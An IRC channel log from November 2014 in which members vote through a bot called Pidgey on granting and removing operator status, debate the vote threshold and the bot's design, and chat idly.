[2014-11-27T14:51:27-0500] <@awe> They can just do it.
[2014-11-27T14:51:31-0500] <~Hcnsh> we don't do that, though
[2014-11-27T14:51:32-0500] <~Hcnsh> lol
[2014-11-27T14:51:43-0500] awe kicked alokpathy from the channel (Your behavior is not conducive to the desired environment.)
[2014-11-27T14:51:43-0500] <~Hcnsh> we respect democracy.. (well, all of us except jacob)
[2014-11-27T14:51:51-0500] <~Hcnsh> ..
[2014-11-27T14:51:52-0500] <~Hcnsh> wat
[2014-11-27T14:51:57-0500] <~Hcnsh> ok, besides jacob and you.
[2014-11-27T14:52:08-0500] alokpathy (uid15876@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2014-11-27T14:52:08-0500] Pidgey sets mode +o alokpathy
[2014-11-27T14:52:12-0500] <@alokpathy> :(
[2014-11-27T14:52:27-0500] <@awe> I'm obviously going to need to change the win percentage to be higher.
[2014-11-27T14:52:30-0500] <@awe> JacobEdelman: was very wrong.
[2014-11-27T14:52:37-0500] <@awe> 40% isn't too high. It's much too low.
[2014-11-27T14:52:49-0500] <@alokpathy> Well ideally shouldn't it be a majority? 
[2014-11-27T14:52:59-0500] <@awe> He wanted it to be 40% because people won't be around for a while.
[2014-11-27T14:53:14-0500] <@awe> I wanted it to be 60% because super majority to make people opers and change the owner.
[2014-11-27T14:54:05-0500] Pidgey sets mode -o alokpathy
[2014-11-27T14:54:09-0500] Pidgey sets mode -o Tamini
[2014-11-27T14:54:26-0500] <alokpathy> :(
[2014-11-27T14:54:32-0500] <alokpathy> It was fun while it lasted...
[2014-11-27T14:54:38-0500] <alokpathy> Can I be voiced at least?
[2014-11-27T14:54:48-0500] Hcnsh sets mode +v alokpathy
[2014-11-27T14:54:55-0500] Hcnsh sets mode +v Tamini
[2014-11-27T14:55:25-0500] <~Hcnsh> Pidgey can target me, can't it?
[2014-11-27T14:55:42-0500] awe sets mode -q Hcnsh
[2014-11-27T14:55:47-0500] awe sets mode -o Hcnsh
[2014-11-27T14:55:53-0500] awe sets mode +v Hcnsh
[2014-11-27T14:56:03-0500] <@awe> Of course it can.
[2014-11-27T14:56:05-0500] <@awe> We're server opers.
[2014-11-27T14:56:11-0500] <+Hcnsh> one op plis
[2014-11-27T14:56:15-0500] <+Hcnsh> alok or tamini
[2014-11-27T14:56:23-0500] <+alokpathy> Me! :D
[2014-11-27T14:56:30-0500] <+alokpathy> plz
[2014-11-27T14:56:34-0500] <+Tamini> so sad
[2014-11-27T14:56:48-0500] <+Tamini> .propose deop LittleBobbyTables
[2014-11-27T14:56:49-0500] <&Pidgey> Proposal 14 is live.
[2014-11-27T14:56:54-0500] <+Tamini> if i cant have it no one can?
[2014-11-27T14:56:56-0500] <+Tamini> :P
[2014-11-27T14:56:58-0500] <+Hcnsh> make a spot? lol
[2014-11-27T14:57:10-0500] <@awe> Yeah, if you guys really don't like LittleBobbyTables, okay.
[2014-11-27T14:57:20-0500] <@awe> But we definitely don't need half the channel to be opers.
[2014-11-27T14:57:29-0500] <+Hcnsh> we don't not like him, he just doesn't do anything so it's kinda pointless.
[2014-11-27T14:57:40-0500] <@awe> Which means you don't like LittleBobbyTables as an oper.
[2014-11-27T14:57:50-0500] <+Hcnsh> yes. tamini or alokpathy would be nice.
[2014-11-27T14:58:16-0500] <@LittleBobbyTables> I'm also not here a lot of the time
[2014-11-27T14:58:26-0500] <+alokpathy> LittleBobbyTables: You should be
[2014-11-27T14:58:41-0500] <@LittleBobbyTables> Sorry I have a real life
[2014-11-27T14:58:50-0500] <+Tamini> lol jacob
[2014-11-27T14:58:53-0500] <+Tamini> that salt
[2014-11-27T14:59:04-0500] <@awe> LittleBobbyTables: I mean, it's the same deal here.
[2014-11-27T14:59:44-0500] <@LittleBobbyTables> pcpartpicker.com/p/qLrVCJ -- what a sexy, portable build
[2014-11-27T15:01:31-0500] <+Hcnsh> awe, did you change it to 60% yet?
[2014-11-27T15:01:50-0500] awe changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-27T15:02:12-0500] <@LittleBobbyTables> Wow that message got sent late
[2014-11-27T15:02:21-0500] Pidgey (services@services.pdgn.co) left IRC (Connection closed)
[2014-11-27T15:02:54-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-27T15:03:02-0500] Pidgey sets mode +a Pidgey
[2014-11-27T15:03:02-0500] Pidgey changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-27T15:03:07-0500] <+Hcnsh> k guys, start the op proposals
[2014-11-27T15:03:16-0500] <@awe> .propose deop LittleBobbyTables
[2014-11-27T15:03:16-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T15:03:18-0500] <@awe> erm
[2014-11-27T15:03:20-0500] <@awe> gotta identify.
[2014-11-27T15:03:44-0500] <+Hcnsh> .propose oper alokpathy
[2014-11-27T15:03:44-0500] <&Pidgey> Proposal 0 is live.
[2014-11-27T15:03:46-0500] <+Hcnsh> .propose oper tamini
[2014-11-27T15:03:46-0500] <&Pidgey> Proposal 1 is live.
[2014-11-27T15:03:51-0500] <@awe> .propose deop LittleBobbyTables
[2014-11-27T15:03:51-0500] <&Pidgey> Proposal 2 is live.
[2014-11-27T15:03:53-0500] <@awe> .vote 2 yea
[2014-11-27T15:03:53-0500] <&Pidgey> Vote issued.
[2014-11-27T15:03:55-0500] <@awe> .vote 1 yea
[2014-11-27T15:03:55-0500] <&Pidgey> Vote issued.
[2014-11-27T15:03:56-0500] <@awe> .vote 0 nay
[2014-11-27T15:03:56-0500] <&Pidgey> Vote issued.
[2014-11-27T15:04:03-0500] <+Hcnsh> .vote 2 yea
[2014-11-27T15:04:03-0500] <&Pidgey> Vote issued.
[2014-11-27T15:04:19-0500] <+Hcnsh> i can't decide ;_;
[2014-11-27T15:05:00-0500] <+alokpathy> awe: Why don't you like me? :(
[2014-11-27T15:05:12-0500] <@awe> alokpathy: I do. I just like Tamini better. ;)
[2014-11-27T15:05:33-0500] <+Hcnsh> awe, you're taking up an op spot when you're server op anyways
[2014-11-27T15:05:33-0500] <+alokpathy> :(
[2014-11-27T15:05:36-0500] <+Hcnsh> plis resign
[2014-11-27T15:05:38-0500] <+Tamini> aww awe i like you better too
[2014-11-27T15:05:40-0500] <+alokpathy> [cries]
[2014-11-27T15:05:42-0500] <+Tamini> .active
[2014-11-27T15:05:42-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-27T15:05:42-0500] <&Pidgey> Proposal (2) to deop LittleBobbyTables.
[2014-11-27T15:05:42-0500] <&Pidgey> Proposal (1) to oper tamini.
[2014-11-27T15:05:42-0500] <+Hcnsh> .propose deoper awe
[2014-11-27T15:05:42-0500] <&Pidgey> deoper is not a valid option for a proposal.
[2014-11-27T15:05:48-0500] <+Hcnsh> .propose deop awe
[2014-11-27T15:05:48-0500] <&Pidgey> Proposal 4 is live.
[2014-11-27T15:05:51-0500] <+Tamini> .vote 0 nay
[2014-11-27T15:05:51-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T15:05:52-0500] <+Hcnsh> .vote 4 yea
[2014-11-27T15:05:52-0500] <&Pidgey> Vote issued.
[2014-11-27T15:05:57-0500] <+Tamini> .vote 2 yea
[2014-11-27T15:05:57-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T15:06:02-0500] <+Tamini> goddammit
[2014-11-27T15:06:37-0500] <+Tamini> .vote 0 nay
[2014-11-27T15:06:37-0500] <&Pidgey> Vote issued.
[2014-11-27T15:06:41-0500] <+Tamini> .vote 2 yea
[2014-11-27T15:06:41-0500] <&Pidgey> Vote issued.
[2014-11-27T15:06:44-0500] <+alokpathy> Tamini: :(
[2014-11-27T15:06:46-0500] <+Hcnsh> awe is taking up an op spot when he's server op anyways; .vote 4 yea plis
[2014-11-27T15:06:49-0500] <+Tamini> .vote 1 yea
[2014-11-27T15:06:49-0500] <&Pidgey> Vote issued.
[2014-11-27T15:06:52-0500] <+Tamini> .vote 4 nay
[2014-11-27T15:06:52-0500] <&Pidgey> Vote issued.
[2014-11-27T15:06:55-0500] <+Tamini> but i like awe
[2014-11-27T15:06:55-0500] <+Hcnsh> meh
[2014-11-27T15:07:03-0500] <+Hcnsh> he already has his powers
[2014-11-27T15:07:08-0500] <+Hcnsh> won't make a difference
[2014-11-27T15:07:19-0500] <+Hcnsh> and gives us another spot for op
[2014-11-27T15:07:33-0500] <+Hcnsh> .active
[2014-11-27T15:07:33-0500] <&Pidgey> Proposal (4) to deop awe.
[2014-11-27T15:07:33-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-27T15:07:33-0500] <&Pidgey> Proposal (2) to deop LittleBobbyTables.
[2014-11-27T15:07:33-0500] <&Pidgey> Proposal (1) to oper tamini.
[2014-11-27T15:08:04-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-27T15:08:04-0500] <&Pidgey> Proposal 5 is live.
[2014-11-27T15:08:05-0500] <+Hcnsh> .vote 5 yea
[2014-11-27T15:08:05-0500] <&Pidgey> Vote issued.
[2014-11-27T15:08:06-0500] <+Hcnsh> might as well
[2014-11-27T15:08:12-0500] <+Hcnsh> plis .vote 5 yea
[2014-11-27T15:08:21-0500] <@awe> Hcnsh: Considering this is the official channel of this server, yes, I should be an oper here.
[2014-11-27T15:08:24-0500] <@awe> .vote 4 nay
[2014-11-27T15:08:24-0500] <&Pidgey> Vote issued.
[2014-11-27T15:08:25-0500] <@awe> .vote 5 nay
[2014-11-27T15:08:25-0500] <&Pidgey> Vote issued.
[2014-11-27T15:08:47-0500] <@awe> Hcnsh: Opers aren't a "spot" thing.
[2014-11-27T15:08:54-0500] <+Hcnsh> alokpathy jacobedelman jwoglom sdamashek tamini the_master ubuntor .vote 5 yea plis
[2014-11-27T15:08:59-0500] <@awe> Hcnsh: It's about representation.
[2014-11-27T15:09:36-0500] Pidgey sets mode +q Pidgey
[2014-11-27T15:10:06-0500] <+Hcnsh> does voting no do anything?
[2014-11-27T15:10:16-0500] <+alokpathy> All hail Pidgey 
[2014-11-27T15:10:24-0500] <+Hcnsh> how's the 60% calculated? yesvotes / # of voiced?
[2014-11-27T15:10:32-0500] <@awe> Hcnsh: Yes.
[2014-11-27T15:10:38-0500] <+Hcnsh> so no votes don't do anything?
[2014-11-27T15:10:42-0500] <@awe> Hcnsh: Voting no allows the vote to end when 40% are no.
[2014-11-27T15:10:47-0500] <+Hcnsh> oh
[2014-11-27T15:10:48-0500] <+Hcnsh> ok
[2014-11-27T15:12:12-0500] <@LittleBobbyTables> .vote 2 no
[2014-11-27T15:12:12-0500] <~Pidgey> no is not a valid vote.
[2014-11-27T15:12:15-0500] <@LittleBobbyTables> .vote 4 nay
[2014-11-27T15:12:15-0500] <~Pidgey> Vote issued.
[2014-11-27T15:12:18-0500] <+Hcnsh> .active
[2014-11-27T15:12:18-0500] <~Pidgey> Proposal (4) to deop awe.
[2014-11-27T15:12:18-0500] <~Pidgey> Proposal (0) to oper alokpathy.
[2014-11-27T15:12:18-0500] <~Pidgey> Proposal (5) to oper Hcnsh.
[2014-11-27T15:12:18-0500] <~Pidgey> Proposal (2) to deop LittleBobbyTables.
[2014-11-27T15:12:18-0500] <~Pidgey> Proposal (1) to oper tamini.
[2014-11-27T15:12:20-0500] <@LittleBobbyTables> Damn it awe :(
[2014-11-27T15:12:23-0500] <@LittleBobbyTables> .vote 2 nay
[2014-11-27T15:12:23-0500] <~Pidgey> Vote issued.
[2014-11-27T15:12:26-0500] <@LittleBobbyTables> change that as well
[2014-11-27T15:12:29-0500] <@LittleBobbyTables> lol
[2014-11-27T15:12:35-0500] <@LittleBobbyTables> It works for resistance but not here :P
[2014-11-27T15:16:11-0500] <+alokpathy> awe: Why is Tamini > alokpathy in your opinion?
[2014-11-27T15:18:41-0500] <+Hcnsh> alok .vote 5 yea plis
[2014-11-27T15:19:09-0500] <+Hcnsh> i'll .vote 0 yea
[2014-11-27T15:19:41-0500] <+alokpathy> .vote 5 yea
[2014-11-27T15:19:41-0500] <~Pidgey> You must be identified to do that.
[2014-11-27T15:19:45-0500] <+alokpathy> oops
[2014-11-27T15:19:56-0500] <+alokpathy> .vote 5 yea
[2014-11-27T15:19:56-0500] <~Pidgey> Vote issued.
[2014-11-27T15:19:58-0500] <+Hcnsh> .vote 0 yea
[2014-11-27T15:19:58-0500] <~Pidgey> Vote issued.
[2014-11-27T15:20:02-0500] <+Hcnsh> tamini plis
[2014-11-27T15:20:32-0500] <+Hcnsh> awe
[2014-11-27T15:20:51-0500] <+Hcnsh> you should add the number of votes for/against/not-yet-voted in .active
[2014-11-27T15:34:08-0500] <@awe> Hcnsh: That would be computationally inefficient.
[2014-11-27T15:34:17-0500] <@awe> Hcnsh: It's O(n) to get number of votes.
[2014-11-27T15:34:28-0500] <+Hcnsh> store a counter..
[2014-11-27T15:35:25-0500] <@awe> I'd have to then store two counters for every proposal.
[2014-11-27T15:35:46-0500] <+Hcnsh> That's not much..
[2014-11-27T15:35:56-0500] <+Hcnsh> Make Pidgey end proposals after a certain amount of time
[2014-11-27T15:36:09-0500] <@awe> That requires me to then store the time that proposal was created.
[2014-11-27T15:36:34-0500] <+Hcnsh> ok, then end proposal #0 when proposal #somenumber is created
[2014-11-27T15:36:47-0500] <@awe> That makes no sense because then I could close proposals by spamming new ones.
[2014-11-27T15:37:08-0500] <+Hcnsh> stop caring about a few bytes and just make those counters :|
[2014-11-27T15:37:22-0500] <@awe> I'm not adding an entire other data structure just to hold counters.
[2014-11-27T15:37:26-0500] <@LittleBobbyTables> Stop caring about things that don't really matter.
[2014-11-27T15:37:40-0500] <@awe> It'd make more sense to just say that I should do the O(n) vote count anyway.
[2014-11-27T15:38:27-0500] <+ubuntor> .vote 4 nay
[2014-11-27T15:38:27-0500] <~Pidgey> You must be identified to do that.
[2014-11-27T15:38:39-0500] <+Hcnsh> .active
[2014-11-27T15:38:39-0500] <~Pidgey> Proposal (4) to deop awe.
[2014-11-27T15:38:39-0500] <~Pidgey> Proposal (0) to oper alokpathy.
[2014-11-27T15:38:39-0500] <~Pidgey> Proposal (5) to oper Hcnsh.
[2014-11-27T15:38:39-0500] <~Pidgey> Proposal (2) to deop LittleBobbyTables.
[2014-11-27T15:38:39-0500] <~Pidgey> Proposal (1) to oper tamini.
[2014-11-27T15:38:44-0500] <+ubuntor> .vote 4 nay
[2014-11-27T15:38:44-0500] <~Pidgey> Vote issued.
[2014-11-27T15:38:51-0500] <+ubuntor> .vote 0 nay
[2014-11-27T15:38:51-0500] <~Pidgey> Vote issued.
[2014-11-27T15:38:54-0500] <+ubuntor> .vote 5 nay
[2014-11-27T15:38:54-0500] <~Pidgey> Vote issued.
[2014-11-27T15:38:59-0500] <+ubuntor> .vote 2 yea
[2014-11-27T15:38:59-0500] <~Pidgey> Vote issued.
[2014-11-27T15:39:01-0500] <+ubuntor> .vote 1 nay
[2014-11-27T15:39:01-0500] <~Pidgey> Vote issued.
[2014-11-27T15:39:08-0500] <@awe> ubuntor: you want nobody to be op but me?
[2014-11-27T15:39:19-0500] <+ubuntor> hmm
[2014-11-27T15:39:35-0500] <+ubuntor> wait, darn
[2014-11-27T15:39:48-0500] <+Hcnsh> awe turned to fascism to remove us ops and owners
[2014-11-27T15:39:52-0500] <+Hcnsh> down with awe
[2014-11-27T15:40:07-0500] <@awe> That's uhh...
[2014-11-27T15:40:09-0500] <@awe> Not what fascism is.
[2014-11-27T15:40:12-0500] <+Hcnsh> shh
[2014-11-27T15:40:16-0500] <+Hcnsh> this isn't what democracy is either
[2014-11-27T15:40:24-0500] <@awe> Nope, that was not democratic.
[2014-11-27T15:40:43-0500] <@awe> In all fairness, neither really was getting a group of four people to vote yes on all of eachother's proposals to become oper.
[2014-11-27T15:40:49-0500] <+Hcnsh> lol
[2014-11-27T15:41:06-0500] <+Hcnsh> would it be fair if we bribed the voters instead?
[2014-11-27T15:41:16-0500] <+alokpathy> awe: We made it a realistic democracy. 
[2014-11-27T15:41:18-0500] <@awe> No, I won't have any corruption here.
[2014-11-27T15:41:21-0500] <@awe> alokpathy: .-.
[2014-11-27T15:41:25-0500] <+Tamini> lolol
[2014-11-27T15:41:27-0500] <+Hcnsh> yeah
[2014-11-27T15:41:27-0500] <+Tamini> alokpathy: <3
[2014-11-27T15:41:28-0500] <+Hcnsh> it was nice
[2014-11-27T15:41:29-0500] <+Hcnsh> nothing wrong
[2014-11-27T15:41:33-0500] <+Hcnsh> but awe doesn't like seeing "@"
[2014-11-27T15:41:35-0500] <+Hcnsh> :C
[2014-11-27T15:41:40-0500] <+Tamini> corruption is basically characteristic of democracy
[2014-11-27T15:42:13-0500] <+Hcnsh> tamini .vote 5 yea plis
[2014-11-27T15:42:15-0500] <@awe> Hcnsh: No, it defeats the entire purpose of having democratic anything because it means that anyone can kick anyone.
[2014-11-27T15:42:24-0500] <+Hcnsh> we weren't doing that
[2014-11-27T15:42:29-0500] <+Hcnsh> only you and jacob do that..
[2014-11-27T15:42:29-0500] <+Tamini> i did
[2014-11-27T15:42:34-0500] <@awe> Doesn't matter. It defeats the purpose.
[2014-11-27T15:42:53-0500] <@awe> If everyone can kick everyone, there's no reason to vote to kick.
[2014-11-27T15:43:03-0500] <+Hcnsh> besides respecting the democracy
[2014-11-27T15:43:06-0500] <+Hcnsh> which we were doing..
[2014-11-27T15:43:32-0500] <@awe> If you were respecting democracy, there's no reason for you to vote yourself into a position of power.
[2014-11-27T15:43:42-0500] <+Hcnsh> besides fun, which we were having.
[2014-11-27T15:44:32-0500] <@awe> You were having fun because "haha, this is something I shouldn't be doing!"
[2014-11-27T15:45:17-0500] <+Hcnsh> in a way, yes.
[2014-11-27T15:45:33-0500] <+Hcnsh> but what's wrong with that?
[2014-11-27T15:47:48-0500] <+Hcnsh> .propose chown Hcnsh
[2014-11-27T15:47:48-0500] <~Pidgey> Proposal 6 is live.
[2014-11-27T15:47:49-0500] <+Hcnsh> :D
[2014-11-27T15:47:52-0500] <+Hcnsh> .vote 6 yea
[2014-11-27T15:47:52-0500] <~Pidgey> Vote issued.
[2014-11-27T15:48:08-0500] <+Hcnsh> alokpathy jacobedelmn jwoglom sdamashek tamini the_master ubuntor .vote 6 yea
[2014-11-27T15:48:27-0500] <+Tamini> even if we do
[2014-11-27T15:48:28-0500] <@awe> On the other hand, JacobEdelman was apparently very right about chown.
[2014-11-27T15:48:32-0500] <@awe> chown should not exist.
[2014-11-27T15:48:34-0500] <+Tamini> awe will just revert it
[2014-11-27T15:48:36-0500] <+Hcnsh> yes
[2014-11-27T15:48:38-0500] <+Hcnsh> but still
[2014-11-27T15:48:53-0500] <@awe> I wouldn't revert it if it were for any reason other than "LOL, THIS IS SO FUNNY"
[2014-11-27T15:49:05-0500] <+Hcnsh> what legit reason can you think of?
[2014-11-27T15:49:25-0500] <+Hcnsh> and i didn't say it was funny
[2014-11-27T15:49:27-0500] <+Hcnsh> just fun
[2014-11-27T15:49:54-0500] <@awe> funny: adj. causing laughter or amusement; humorous
[2014-11-27T15:50:20-0500] <+Hcnsh> fun: enjoyment, amusement, or lighthearted pleasure.
[2014-11-27T15:50:26-0500] <+Hcnsh> enjoyment's what i'm referring to
[2014-11-27T15:50:43-0500] <+Hcnsh> lighthearted pleasure works too
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[2014-11-27T15:55:26-0500] <@awe> Funny means causing laughter or fun.
[2014-11-27T15:55:54-0500] <@awe> Hcnsh: and as for legitimate reasons, the primary reason for chown was to vote to change the owner to Pidgey or to return the ownership back to the original owner.
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[2014-11-27T15:57:17-0500] Pidgey sets mode +a Pidgey
[2014-11-27T15:57:17-0500] Pidgey changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-27T15:57:36-0500] <@awe> .active
[2014-11-27T15:57:36-0500] <&Pidgey> None
[2014-11-27T15:57:41-0500] <@awe> .propose deop LittleBobbyTables
[2014-11-27T15:57:41-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T15:57:51-0500] <@awe> .propose deop LittleBobbyTables
[2014-11-27T15:57:51-0500] <&Pidgey> Proposal 0 is live.
[2014-11-27T15:57:53-0500] <@awe> .active
[2014-11-27T15:57:53-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 0, N 0).
[2014-11-27T15:57:58-0500] <@awe> .vote 0 yea
[2014-11-27T15:57:58-0500] <&Pidgey> Vote issued.
[2014-11-27T15:58:00-0500] <@awe> .active
[2014-11-27T15:58:00-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 1, N 0).
[2014-11-27T15:58:14-0500] <@awe> .propose oper Tamini
[2014-11-27T15:58:14-0500] <&Pidgey> Proposal 1 is live.
[2014-11-27T15:58:15-0500] <@LittleBobbyTables> .vote 0 nay
[2014-11-27T15:58:15-0500] <&Pidgey> Vote issued.
[2014-11-27T15:58:16-0500] <@awe> .vote 1 yea
[2014-11-27T15:58:16-0500] <&Pidgey> Vote issued.
[2014-11-27T15:58:21-0500] <@awe> .active
[2014-11-27T15:58:21-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 1, N 0).
[2014-11-27T15:58:21-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 1, N 1).
[2014-11-27T15:58:23-0500] <+ubuntor> oh yay
[2014-11-27T15:58:24-0500] <@awe> Okay, this works.
[2014-11-27T15:58:37-0500] <+Tamini> ugh
[2014-11-27T15:58:47-0500] <+Tamini> so much reidentifying
[2014-11-27T15:58:51-0500] <@awe> Sorry.
[2014-11-27T15:58:53-0500] <@awe> I hate it, too.
[2014-11-27T15:59:10-0500] <@awe> I wish there was something I could do about it.
[2014-11-27T15:59:12-0500] <+Tamini> .vote 1 yea
[2014-11-27T15:59:12-0500] <&Pidgey> Vote issued.
[2014-11-27T15:59:16-0500] <+Tamini> .active
[2014-11-27T15:59:16-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 2, N 0).
[2014-11-27T15:59:16-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 1, N 1).
[2014-11-27T15:59:16-0500] <@awe> I can't really make the state persistent though.
[2014-11-27T15:59:25-0500] <+Tamini> .vote 0 yea
[2014-11-27T15:59:25-0500] <&Pidgey> Vote issued.
[2014-11-27T15:59:28-0500] <+Hcnsh> .vote 0 yea
[2014-11-27T15:59:28-0500] <&Pidgey> Vote issued.
[2014-11-27T15:59:30-0500] <+Tamini> and awe: yeah, i understand
[2014-11-27T15:59:37-0500] <@awe> I could save it to disk, but then what if people log out while he's gone?
[2014-11-27T15:59:39-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-27T15:59:39-0500] <&Pidgey> Proposal 2 is live.
[2014-11-27T15:59:40-0500] <+Hcnsh> tamini plis
[2014-11-27T15:59:44-0500] <+ubuntor> time to write scripts
[2014-11-27T15:59:46-0500] <@awe> He'll have them listed as identified, but they won't be online anymore.
[2014-11-27T15:59:51-0500] <+ubuntor> .active
[2014-11-27T15:59:51-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 2, N 0).
[2014-11-27T15:59:51-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 0, N 0).
[2014-11-27T15:59:51-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 3, N 1).
[2014-11-27T15:59:56-0500] <+Hcnsh> .vote 2 yea
[2014-11-27T15:59:56-0500] <&Pidgey> Vote issued.
[2014-11-27T15:59:58-0500] <@awe> vote 2 nay
[2014-11-27T16:00:07-0500] <+Hcnsh> awe plis
[2014-11-27T16:00:24-0500] <@awe> Your for teh lulz attitude is not conducive to good opership. 
[2014-11-27T16:00:27-0500] <@LittleBobbyTables> What's the point of doing active after pretty much every vote...
[2014-11-27T16:00:37-0500] <@awe> LittleBobbyTables: I was doing it to see that results works.
[2014-11-27T16:00:41-0500] <@awe> I don't know why everyone else is doing it.
[2014-11-27T16:01:02-0500] <@LittleBobbyTables> I know you, but everyone's done it after seeing them, then vote, then do it again.
[2014-11-27T16:01:10-0500] <@LittleBobbyTables> Even when we didn't have the vote counter.
[2014-11-27T16:01:28-0500] <+Tamini> because scrolling is haaard
[2014-11-27T16:01:39-0500] <+ubuntor> make window taller
[2014-11-27T16:01:40-0500] <+Hcnsh> tamini ubuntor .vote 2 yea plis
[2014-11-27T16:01:49-0500] <+Hcnsh> window's as big as my screen
[2014-11-27T16:01:55-0500] <+Hcnsh> still hard
[2014-11-27T16:02:01-0500] <+Tamini> .vote 2 maybe
[2014-11-27T16:02:01-0500] <&Pidgey> maybe is not a valid vote.
[2014-11-27T16:02:02-0500] <+Tamini> :P
[2014-11-27T16:02:02-0500] <+ubuntor> use smaller font?
[2014-11-27T16:02:10-0500] <+Tamini> .vote 2 yea
[2014-11-27T16:02:10-0500] <&Pidgey> Vote issued.
[2014-11-27T16:02:22-0500] <+Hcnsh> ubuntor plis .vote 2 yea
[2014-11-27T16:02:25-0500] <+Hcnsh> i need to take over again
[2014-11-27T16:02:42-0500] <@LittleBobbyTables> .vote 0 nay
[2014-11-27T16:02:42-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-27T16:03:08-0500] <+Hcnsh> bobby, have you ever used your op powers?
[2014-11-27T16:03:44-0500] <@LittleBobbyTables> .vote 2 nay
[2014-11-27T16:03:44-0500] <&Pidgey> Vote issued.
[2014-11-27T16:03:58-0500] <+ubuntor> .vote 0 nay
[2014-11-27T16:03:59-0500] <&Pidgey> Vote issued.
[2014-11-27T16:04:00-0500] <+ubuntor> .vote 1 nay
[2014-11-27T16:04:00-0500] <&Pidgey> Vote issued.
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[2014-11-27T16:04:03-0500] <+ubuntor> .vote 2 nay
[2014-11-27T16:04:03-0500] <&Pidgey> Vote issued.
[2014-11-27T16:04:05-0500] <+ubuntor> ...?
[2014-11-27T16:04:11-0500] <+Tamini> what a hater
[2014-11-27T16:04:20-0500] <+Hcnsh> you messed up
[2014-11-27T16:04:23-0500] <+Tamini> uhh
[2014-11-27T16:04:27-0500] <+Tamini> who's that
[2014-11-27T16:04:28-0500] <+Hcnsh> .vote 0 nay -> bobby stays op
[2014-11-27T16:04:41-0500] <+Tamini> maybe he just likes lbt and hates us
[2014-11-27T16:04:43-0500] <+Tamini> :(
[2014-11-27T16:05:11-0500] <@LittleBobbyTables> Maybe he realizes there really is no point in ops in a room that doesn't need them.
[2014-11-27T16:05:20-0500] <+Hcnsh> except to make the democracy thing work
[2014-11-27T16:05:31-0500] <+alokpathy> AndChat|277076: Hello
[2014-11-27T16:05:33-0500] <+Hcnsh> because the current ops either never get on or refuse to +v people
[2014-11-27T16:05:56-0500] <+ubuntor> state your reasons why you want op
[2014-11-27T16:06:06-0500] <+Hcnsh> make any active person op
[2014-11-27T16:06:09-0500] <+Hcnsh> so the democracy actually works
[2014-11-27T16:06:19-0500] <+Tamini> lol
[2014-11-27T16:06:24-0500] <+Tamini> i mean if anything
[2014-11-27T16:06:33-0500] <+Tamini> i feel like we just need to limit number of ops
[2014-11-27T16:06:36-0500] <@LittleBobbyTables> democracy still works.
[2014-11-27T16:06:44-0500] <+Tamini> representative democracy
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[2014-11-27T16:06:52-0500] <@LittleBobbyTables> All the people that are actually ever hear are at least +v'd
[2014-11-27T16:07:03-0500] <@LittleBobbyTables> nezorg is sometimes here, but probably doesn't care enough to vote, same with bob_twinkles.
[2014-11-27T16:07:03-0500] <+Tamini> well nezorg is here a lot
[2014-11-27T16:07:10-0500] <+Tamini> lol
[2014-11-27T16:07:10-0500] <+ubuntor> then voice him
[2014-11-27T16:07:21-0500] <+Tamini> both of them have been
[2014-11-27T16:07:23-0500] <+Hcnsh> now, yeah. i +v'd everyone a while ago.
[2014-11-27T16:07:24-0500] <+Tamini> sorta gone for a while
[2014-11-27T16:07:39-0500] <+Hcnsh> "everyone" being 2-4 people
[2014-11-27T16:08:00-0500] <+Hcnsh> oh wait, some of those were after they lost op
[2014-11-27T16:08:02-0500] <+Hcnsh> so doesn't really count
[2014-11-27T16:08:03-0500] <+Hcnsh> so 2
[2014-11-27T16:08:49-0500] <@LittleBobbyTables> Just because he's here doesn't mean he really cares enough to vote. Like I said, the people that would vote are already +v'd.
[2014-11-27T16:09:03-0500] <+ubuntor> wait, latex has a mascot?
[2014-11-27T16:09:18-0500] <+Hcnsh> what?
[2014-11-27T16:09:19-0500] <+Hcnsh> since when?
[2014-11-27T16:09:36-0500] <@LittleBobbyTables> It's a decent feature, just terrible for the channel we currently have.
[2014-11-27T16:09:59-0500] <+ubuntor> https://tex.stackexchange.com/captcha
[2014-11-27T16:10:40-0500] <+ubuntor> http://www.ctan.org/lion.html
[2014-11-27T16:12:20-0500] <+Tamini> oh wait i thought that was the
[2014-11-27T16:12:24-0500] <+Tamini> sharelatex mascot
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[2014-11-27T17:41:58-0500] <failedxyz> hei
[2014-11-27T17:43:57-0500] <+Tamini> ei
[2014-11-27T18:17:25-0500] <+alokpathy> Hi
[2014-11-27T18:17:51-0500] <+ubuntor> hey
[2014-11-27T18:18:08-0500] <+alokpathy> The good thing about being colorblind is the little dot on the left looks green, so I can pretend I'm an OP.
[2014-11-27T18:23:34-0500] <failedxyz> lol
[2014-11-27T18:23:41-0500] <failedxyz> you are colorblind?
[2014-11-27T18:23:54-0500] <+alokpathy> Yeah
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[2014-11-27T18:29:47-0500] <+Tamini> wait whoa
[2014-11-27T18:29:50-0500] <+Tamini> i didnt know
[2014-11-27T18:29:55-0500] <+Tamini> alokpathy: which colors?
[2014-11-27T18:30:06-0500] <+Tamini> red/green?
[2014-11-27T18:30:21-0500] <+alokpathy> Technically, yeah
[2014-11-27T18:30:28-0500] <@LittleBobbyTables> Considering the default colors for op and voice are red and green
[2014-11-27T18:30:29-0500] <+alokpathy> though I mess up a lot of colors.
[2014-11-27T18:30:31-0500] <@LittleBobbyTables> I would assume so :P
[2014-11-27T18:30:43-0500] <+alokpathy> LittleBobbyTables: Wait what
